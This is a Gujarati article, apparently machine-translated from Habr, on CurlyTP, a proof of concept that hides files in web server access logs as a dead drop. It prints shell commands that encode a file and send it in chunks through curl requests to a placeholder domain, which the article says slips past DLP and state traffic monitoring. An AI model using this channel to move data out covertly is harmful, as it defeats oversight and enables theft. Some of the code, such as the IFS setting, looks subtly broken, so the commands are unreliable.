વિકિપીડિયાની વ્યાખ્યા મુજબ, ડેડ ડ્રોપ એ એક કાવતરું સાધન છે જે ગુપ્ત સ્થાનનો ઉપયોગ કરતા લોકો વચ્ચે માહિતી અથવા કેટલીક વસ્તુઓની આપ-લે કરવા માટે સેવા આપે છે. વિચાર એ છે કે લોકો ક્યારેય મળતા નથી - પરંતુ તેઓ હજી પણ ઓપરેશનલ સલામતી જાળવવા માહિતીની આપ-લે કરે છે.

છુપાવાની જગ્યાએ ધ્યાન આકર્ષિત ન કરવું જોઈએ. તેથી, ઑફલાઇન વિશ્વમાં તેઓ ઘણીવાર સમજદાર વસ્તુઓનો ઉપયોગ કરે છે: દિવાલમાં એક છૂટક ઈંટ, પુસ્તકાલયનું પુસ્તક અથવા ઝાડમાં હોલો.

ઈન્ટરનેટ પર ઘણા એન્ક્રિપ્શન અને અનામીકરણ સાધનો છે, પરંતુ આ સાધનોનો ઉપયોગ કરવાની હકીકત ધ્યાન આકર્ષિત કરે છે. વધુમાં, તેઓ કોર્પોરેટ અથવા સરકારી સ્તરે અવરોધિત થઈ શકે છે. શુ કરવુ?

વિકાસકર્તા રાયન ફ્લાવર્સે એક રસપ્રદ વિકલ્પ પ્રસ્તાવિત કર્યો - કોઈપણ વેબ સર્વરને છુપાવાની જગ્યા તરીકે ઉપયોગ કરો. જો તમે તેના વિશે વિચારો છો, તો વેબ સર્વર શું કરે છે? વિનંતીઓ મેળવે છે, ફાઇલો ઇશ્યૂ કરે છે અને લોગ લખે છે. અને તે બધી વિનંતીઓને લૉગ કરે છે, ખોટા પણ!

તે તારણ આપે છે કે કોઈપણ વેબ સર્વર તમને લોગમાં લગભગ કોઈપણ સંદેશ સાચવવાની મંજૂરી આપે છે. ફૂલોને આશ્ચર્ય થયું કે આનો ઉપયોગ કેવી રીતે કરવો.

તે આ વિકલ્પ આપે છે:

1. ટેક્સ્ટ ફાઇલ (ગુપ્ત સંદેશ) લો અને હેશ (md5sum) ની ગણતરી કરો.
2. અમે તેને એન્કોડ કરીએ છીએ (gzip+uuencode).
3. અમે સર્વરને જાણીજોઈને ખોટી વિનંતીનો ઉપયોગ કરીને લોગ પર લખીએ છીએ.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ફાઇલ વાંચવા માટે, તમારે આ ઑપરેશન્સને વિપરીત ક્રમમાં કરવાની જરૂર છે: ફાઇલને ડીકોડ અને અનઝિપ કરો, હેશ તપાસો (હેશને ખુલ્લી ચેનલો પર સુરક્ષિત રીતે ટ્રાન્સમિટ કરી શકાય છે).

જગ્યાઓ સાથે બદલવામાં આવે છે =+=જેથી સરનામામાં કોઈ જગ્યા ન હોય. પ્રોગ્રામ, જેને લેખક કર્લીટીપી કહે છે, ઇમેઇલ જોડાણોની જેમ, બેઝ 64 એન્કોડિંગનો ઉપયોગ કરે છે. વિનંતી કીવર્ડ સાથે કરવામાં આવી છે ?transfer?જેથી પ્રાપ્તકર્તા તેને લૉગમાં સરળતાથી શોધી શકે.

આ કિસ્સામાં લોગમાં આપણે શું જોઈએ છીએ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

પહેલેથી જ ઉલ્લેખ કર્યો છે તેમ, ગુપ્ત સંદેશ પ્રાપ્ત કરવા માટે તમારે વિપરીત ક્રમમાં કામગીરી કરવાની જરૂર છે:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

પ્રક્રિયા સ્વચાલિત કરવા માટે સરળ છે. Md5sum મેળ ખાય છે, અને ફાઇલની સામગ્રી પુષ્ટિ કરે છે કે બધું યોગ્ય રીતે ડીકોડ કરવામાં આવ્યું હતું.

પદ્ધતિ ખૂબ જ સરળ છે. “આ કવાયતનો મુદ્દો ફક્ત એ સાબિત કરવાનો છે કે નિર્દોષ નાની વેબ વિનંતીઓ દ્વારા ફાઇલોને સ્થાનાંતરિત કરી શકાય છે, અને તે સાદા ટેક્સ્ટ લોગ સાથે કોઈપણ વેબ સર્વર પર કાર્ય કરે છે. અનિવાર્યપણે, દરેક વેબ સર્વર એક છૂપાવવાની જગ્યા છે!” ફ્લાવર્સ લખે છે.

અલબત્ત, પદ્ધતિ ફક્ત ત્યારે જ કાર્ય કરે છે જો પ્રાપ્તકર્તાને સર્વર લોગની ઍક્સેસ હોય. પરંતુ આવી ઍક્સેસ પ્રદાન કરવામાં આવે છે, ઉદાહરણ તરીકે, ઘણા હોસ્ટર્સ દ્વારા.

તેનો ઉપયોગ કેવી રીતે કરવો?

Ryan Flowers કહે છે કે તે માહિતી સુરક્ષા નિષ્ણાત નથી અને CurlyTP માટે સંભવિત ઉપયોગોની સૂચિ તૈયાર કરશે નહીં. તેના માટે, તે ખ્યાલનો માત્ર એક પુરાવો છે કે જે પરિચિત સાધનો આપણે દરરોજ જોઈએ છીએ તેનો ઉપયોગ બિનપરંપરાગત રીતે થઈ શકે છે.

હકીકતમાં, આ પદ્ધતિમાં અન્ય સર્વર "છુપાવે છે" જેવા ઘણા ફાયદા છે ડિજિટલ ડેડ ડ્રોપ અથવા પાઇરેટબોક્સ: તેને સર્વર બાજુ પર વિશેષ રૂપરેખાંકનની અથવા કોઈ વિશેષ પ્રોટોકોલની જરૂર નથી - અને જેઓ ટ્રાફિકનું નિરીક્ષણ કરે છે તેમનામાં શંકા જગાડશે નહીં. તે અસંભવિત છે કે SORM અથવા DLP સિસ્ટમ સંકુચિત ટેક્સ્ટ ફાઇલો માટે URL ને સ્કેન કરશે.

સેવા ફાઇલો દ્વારા સંદેશાઓ પ્રસારિત કરવાની આ એક રીત છે. તમે યાદ કરી શકો છો કે કેટલીક અદ્યતન કંપનીઓ કેવી રીતે મૂકતી હતી એચટીટીપી હેડરમાં ડેવલપર જોબ્સ અથવા HTML પૃષ્ઠોના કોડમાં.

વિચાર એવો હતો કે ફક્ત વેબ ડેવલપર્સ જ આ ઇસ્ટર એગ જોશે, કારણ કે સામાન્ય વ્યક્તિ હેડર્સ અથવા HTML કોડને જોશે નહીં.

સોર્સ: www.habr.com